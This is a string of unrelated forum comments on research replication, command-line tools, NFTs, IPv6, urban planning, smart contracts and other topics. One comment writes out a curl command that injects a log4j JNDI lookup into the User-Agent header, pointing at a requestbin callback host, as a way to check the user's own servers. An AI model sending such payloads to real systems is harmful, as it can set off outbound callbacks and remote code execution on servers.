The institution as a whole may have the incentive, which plays out on a 5-10 year timescale. Funding agencies in principle care, but no individuals are rewarded based on the results on this timescale. Industry, venture capital, and the like do care because they need reliable-enough results to build on, but they can filter for the good ones and scale from there.

The lifecycle for a junior PI is about 5 years, which really means they have about 3 years to produce a result sufficient to advance. This is enough for a bit of validation but unlikely anything beyond their lab, so the result is likely to be untested. But who in that lab cares? They just need to get the next job, so a 3-4 year timescale is fine. The PI cares long-term because a lack of new productivity means a lack of ongoing funding, which means they either improve the quality of their processes (which means herding the junior researchers through that system) or simply continuing to hack their way through.

There is a reason why people moan about scientific theories advancing one death of an old professor at a time.
Glad to see fd is suggested in the first comment. Unless you're writing a script to run elsewhere I don't really see a compelling reason to use find on your own machine these days. fd just feels sensible.
I've seen a lot posts saying condition system in common lisp is unmatched. is there similar thing in scheme?
So, let's say I pay you 200 ETH and get an NFT signifying ownership of a flat in downtown Kinshasa. I fly to Kinshasa, find the key as you have described, start living in the flat. A year later as I come home I find that the key has been changed and someone else has moved in. They present a purchase agreement, as well as a deed.

What happens next?
> all related institutions should be interested in replicating breakthrough studies

Well, no. Grants don't pay for replication. Replication studies are less likely to get published or get citations. In other words, if you want to do replication, you wont be able to find money for it. If you find money on it, there will be punishment in terms of lesser career progress.

The system does not value replication.
Hi, nice to hear that. I first thought you'd need an account to join, but it's very cool to see that this works without accounts!

With ActivityPub[1] federation it might be possible to show account informations of users if they decide to join with their federated account.

It is for example possible to comment on a PeerTube instance on one server by using a Mastodon account from another server.

I'd love to help but I have no experience at all with such protocols and how servers do the magic :) If you do manage to implement something I will be very impressed, too.

Thanks for creating such a nice tool!

It is a fairly new property so it may be a while before it is ubiquitous (the MDN page links to a ticket for implementing it is Firefox where it is not yet present at all, for instance).

As it is a property to reduce visual artifacts (as content length changes) it is a safe one to specify and have ignored where not supported: users of other browsers will just not get that minor benefit until the browser catches up. This may be a problem if you are trying to achieve perfectly identical presentation to all users, but you've got a lot of problems coming your way too if that is one of your goals!

A browser not supporting this property of you user it is not going to break a design, not to the point of causing functionality or usability issues, unless you are doing something very strange and complex.
Looking in the internet I see that "94% of Mozilla revenues came through royalties received by search engines to be featured on its Mozilla Firefox browser" I am afraid that at some point Mozilla can be forced to comply and cripple ad blockers too.

Hopefully someone will decide to come up with a totally new browser. I remember times when BitKeeper told Linus that they will somehow try to charge for using their tool to keep Linux kernel source code (can't remember the story, but they managed to irritate Linus, delicately speaking).

Linus sat down and started coding... and created Git.

Unfortunately browser is a more complicated piece of software, but maybe this is also a problem we should solve.

Hanlon's razor: never attribute to malice that which is adequately explained by stupidity. Not that academics were stupid, but making mistakes usually obvious in hindsight. And yeah there would be some malice as well, as everywhere, including here, because everybody's a human until those rigorous methods weed humanity out of the processes (way to go).
Also Vonnegut, and possibly more uplifting: A purpose of human life, no matter who is controlling it, is to love whoever is around to be loved.
Didn't try it yet, but "moved" statements seem like a great improvement.

TLDR: Instead of separate steps of (1) running `terraform state mv` operation on a state file and (2) modifying your code to reflect that change, now you can do this in a single step, in code: https://www.terraform.io/docs/language/modules/develop/refac... .

This is very good example how an ISP can move to IPv6, but my comment was mostly speculating about the IPv4 part. Even US T-Mobile needs to have a bunch of IPv4 addresses to maintain it's IPv4 proxy (and the size of IPv4 address space they need is determined by the size of their expected customer base).

So I was wondering when/if company in a similar situation would not feel the need to maintain IPv4 proxy or would seriously evaluate whether they still need it wrt of cost of the IPv4 address space necessary and potential loss caused by customers who would not be ok with missing IPv4 internet.

But maybe such speculation is missing the point, and cost of the IPv4 addresses is not as bad as keeping dual IPv4/IPv6 stack running in a datacenter. I don't know.

That said, you definitely have a point that right now, I should rather wonder how many other ISPs are moving to IPv6 only stack with IPv4 proxy like US T-Mobile did. Here I would definitely expect that telcos today are moving in this direction when planning new infrastructure (eg. for edge).
Perhaps because the police are changing their tactics (for the worse) to reduce any possible repeat of George Floyd's killing?

Here in the UK, "stop and search" was massively reduced because it was seen as racist. The result has been a marked increase in knife and drug related crimes.

Of course it is the poor and minorities who suffer from these progressive policies.
I have never been asked to send code in an interview. I have my code in github reviewed by the interviewers, but that code was open source, so not an issue for me.

However, I would not share a full non-open source working code, less so if it belongs to my side job. Send some part of it with some of it "redacted" if they really need to see your code skills, talk about the architecture with them, show them the evolution of the platform (the issues you found and the like).
And? Due to power-law distribution that 0.1 % holds disproportional amount of riches.

I really don’t get that people talk about rising income inequality all the time, but actually noticing it (i.e. very strong minority holding many assets) suddenly doesn’t make sense.
I worked at Databricks in the past and Scala is just a way to get things done there. Honestly, for me writing code day-to-day wasn't that different from Java once you understand how to structure your classes. Handling nullables with typed Options is pretty nice though, and I miss it in other languages now. Most people who join Databricks do not know Scala beforehand, it's just a useful tool.

Sure, sometimes progress is slower than you'd like, but that's the case in every large monorepo.
I live in a mediaeval town. Outside of the mediaeval centre are rows of victorian terrace and town houses that grew up around a large railway junction, with warehouses, sidings etc right by the house. When I was young the railway yards had become small businesses, builders merchants, coal merchants, milk rounds, car repair garages etc. Over time they have mostly been turned into more housing and the businesses have moved to out of town 'industrial estates' or 'enterprise parks' where you need a car to get there. Many jobs have moved out there too, even professional service firms that used to fill the quaint offices of the mediaeval centre. The centre edges closer to being a museum every year, and the real commerce is spread out for car drivers around the boundary.

On one route out of town the left hand side of the road is an early-mid 20th century parkway, with a grass strip before the street with the houses on it. The other side was little developed due to being a military reservist base. In the last 10 years they have developed it with no regard whatsoever with reflecting the parkway, and the result?

yeah, trustless is a marketing term.

I don't see people here getting riled up about the fact that many founders call their product "intuitive" either.

Neither can there be pre-born intuition for a tech product as anything human-made must be entirely non-natural.
Like, my understanding from reading the thread was that I'd be able to run this and make requests to my servers setting my User-Agent, like

curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' https://my-service.net

and if they're vulnerable (at least through logging user-agents, I know there are other possible avenues) something would show up on the website. Is it more complicated than that?
> who decides when the work is done?

This is part of the smart contract, which has to explicitly define the conditions on which the collateral is confiscated.

Getting real life data reliably into the blockchain is hard, but there are different approaches to solve this.
My son (12) has since yesterday started claiming that Netherland has the second highest percentage of English-speakers in the world. After the UK I guess? But apparently beating out several native English-speaking countries according to at least one measure.

No idea what that measure is; I have strong doubts, because as much as the Dutch do indeed have a very strong command of English as a second language, we're really not native speakers, and can be very confidently wrong about idiom or pronunciation, even if we may be better at grammar than many native speakers (your/you're; their/they're/there; could of; etc).

That said, we've got a rather extreme housing shortage at the moment, and just this week I read about foreign students who are homeless or living in tents because there's literally nothing else, so I don't think we can actually accommodate a large influx of North Americans seeking better infrastructure. Focusing on fixing your own country is probably better for everybody in the long run.
I’d imagine they would, kind of like the levels of arbitrators and courts today.

The article said the neighbours first vote that work is done. Most of the time that could work. But it also mentions the neighbours could collude to steal the collateral. In that case courts could get involved and force money be returned etc.

I’m very far from a legal expert, but smart contracts seem like a potentially useful tool, within the current system. Not as a complete replacement.
literally LOL'ed at their blog picture/headliner page. they are borrowing from the festival world where the bigger the headliner (aka investor/check?), the higher and bigger they are displayed.

Well, there is not enough data for _simple_ answers yet (and people like simple, so the media likes simple; scientists also like simple).

But there is a lot of data, it is just hard to interpret, even for experts (which I'm not): It is currently summer in South Africa, but there was a summer wave last year. "Around 60-70% of South Africans have already had a Covid-19 infection" (from another comment). Age distribution. How fast omicron is spreading and why. How many are vaccinated (once, twice,...). How many breakthrough infections. Delta and other variants are spreading faster than the previous mostly due to higher viral load. Omicron seems to have has higher viral load. Omicron also binds to ACE2. What is the typical delay between infection and hospital / ICU admission. Some of this is discussed e.g. in https://yourlocalepidemiologist.substack.com/p/omicron-were-...

I understand that the media doesn't just stay silent. What I'm missing from them is in-depth and up-to-date info, with error bars. They can do that for weather forecasts, they should also be able to do this for omicron.

> Kotlin is an unmaintainable soup of features

Are you sure you're not confusing Kotlin with Scala?

> For example, Kotlin has null safety and it lets you write code using errors-as-values style "either" types - but it has two completely separate syntaxes for these things, and so it's impossible to interoperate or reuse code between those two approaches

And that is a problem how? Stick to one style.

Agreed, I hate gift cards as they force where to spend the money. But when my kids get Amazon ones, I trade it for cash and then just register it. I know we have at least one outback steak house card somewhere,never remember to bring it with us. Cannot keep up with it.
Oh god I lived a block from El Camino Real in Santa Clara and I hated it. I really felt like I was surrounded on all sides by concrete (I would say this to people at the time). I grew up in a forest and being so close to so many cars was not for me. Different strokes for different folks though I’m glad you enjoy it! But your experience is so different from mine I thought I would share.
Hah! This paper describes a deep-dive into papers on database research that made quantitative claims, and about half of the investigated papers had problems with replications of some of their claims.

Sure, revel in some sense of freedom for being a “contrarian.” But recognize the naïveté in thinking this has any constructive meaning in our time.
How can a database achieve observability to anyone?
I guess, this is some of a hen and egg problem, as the argument is mostly about density and the economics thereof. (As the cost of extensive, car-centric infrastructure rises, the income generated per area drops and the reinvestment necessary to maintain this infrastructure approaches the median income of the inhabitants.)

Once, you are going the way of extensive infrastructure, malls may be actually some of a remedy to the problem, since they concentrate the necessary infrastructure, instead of each business occupying and maintaining a vast parking lot of their own, including all the infrastructure for access by car. (On a side note, malls were once inspired by some structural aspects of Vienna, where businesses of a kind tended to aggregate in certain areas – also an argument to density.) On the other hand, as you are aggregating your businesses in a major attractor, you're also depriving your townscape of landmarks and any reasons for the population to go and aggregate there, leading to an inevitable depletion (in terms of semantics, economics, and structural density) of centers and to even more suburban structure. Also, malls are mostly single-use areas, where you put all your business aspects of your town in a dedicated, single basket, by this decoupling and separating major aspects of life in a spacial expression. Worse may be what seems to come after malls: big businesses only, each sitting in a vast space of their own, lined up along stroads, single-use areas hundreds of feet apart, generating even less income per area, while requiring even more infrastructure to connect.

wow it's like SQL injection but even when using user input as parameter it does not get sanitised. Really curious what was motivation for such behaviour.
No, this is about log4j2 which is kinda new (2.0.0 was released 2014). Otherwise, yeah, this is terrible, especially since the tag doesn't even have to be in the formatting string.
At first I was, WTF?!? But when I saw the second image, I must admit I love it. Will now share with daughter who was asking.
Do you have any sources or an article for this? I'd love to read a bit more about this.
TLDR: One can use fake noise-generated images to pre-train detection models. But "noise" here means something like the output of a GAN when triggered with a random input, not "TV has no connection noise".

I expect this result to be not that interesting for most AI programmers, because you'll use a pretrained ResNet preprocessing anyway. But it is a very elegant solution for the licensing issues that come with large unsupervised image collections like ImageNet.
In a previous life, I set up CI runner images (Amazon AMIs) that had all of our docker base images pre-cached, and ran custom docker cleanup script that excluded images with certain tags. This meant that a new runner would be relatively quick off the blocks, and get faster as it built/pulled more images.

You can get better cache hit from tagging your gitlab runners and pinning projects to certain tags.

Also this:

... Sharing cache on multiple hosts using buildkit + buildx
Vehemently disagree.

We derive our allegiances and enemies not from facts, but from our goals and values. It is completely reasonable that (minor) facts have relatively little influence on our larger goals.

The author is confused about this Is/Aught difference. Or attempting to manipulate the reader towards prioritizing Kindness without a single fact, scientific study or example anywhere in the article. Ironic.
I wouldn't say it's risky. Never mind what people think about Bill, and what he's into currently, but I definitely consider him a hacker!

Maybe dependency hell is a wicked problem and cannot really be solved? What is the gold standard to aspire to? npm is mentioned in the post but its not clear if that is just for lowering barrier to entry for new users.
I'm not sure economic sanctions are the solution here. More likely, a positive deal and various security promises for Russia (e.g. no more NATO exercises for a mock invasion of Russia, or simply more commerce) will probably do a lot more to ease tensions. As long as NATO and Russia continue to behave as enemies, Russia will continue to see Ukraine as a necessary buffer at its borders, and seek to make it a vassal state, to the detriment of everyone...

Edit to add: avoid phrases like "the West", it's very "Us and Them", it's much better to be explicit: is this about NATO? The US and its closest allies? The EU?
> courts could get involved and force the money be returned

So, it's the government enforcing the contract.

EDIT: Just wanted to add that I actually completely agree with your last sentence!
But your argument also justifies selling arms to North Korea. After all, it's a positive-sum transaction that increases global GDP?

The flaw is that a transaction isn't positive-sum just because you and your trade partner are both happy. Your transaction may well incur negative externalities that outweigh the total profit enjoyed by you and your partner. For example, the world is much worse off if you sell a button-that-destroys-America to North Korea, even though you and North Korea are both pleased at the arrangement.

I don't want to put activity out of the reach of governments. Governments are the organ by which we decide what is and isn't acceptable behavior. If our governments are behaving unreasonably, the solution is to fix them, not to pursue anarchy.

It's not supposed to mean something.

It's supposed to mean anything, so your imagination, excitement and greed can inpaint the rest.

"Then they go up one more level: people send files, but web browsers also “send” requests for web pages. And when you think about it, calling a method on an object is like sending a message to an object! It’s the same thing again! Those are all sending operations, so our clever thinker invents a new, higher, broader abstraction called messaging, but now it’s getting really vague and nobody really knows what they’re talking about any more. Blah.

When you go too far up, abstraction-wise, you run out of oxygen. Sometimes smart thinkers just don’t know when to stop, and they create these absurd, all-encompassing, high-level pictures of the universe that are all good and fine, but don’t actually mean anything at all."
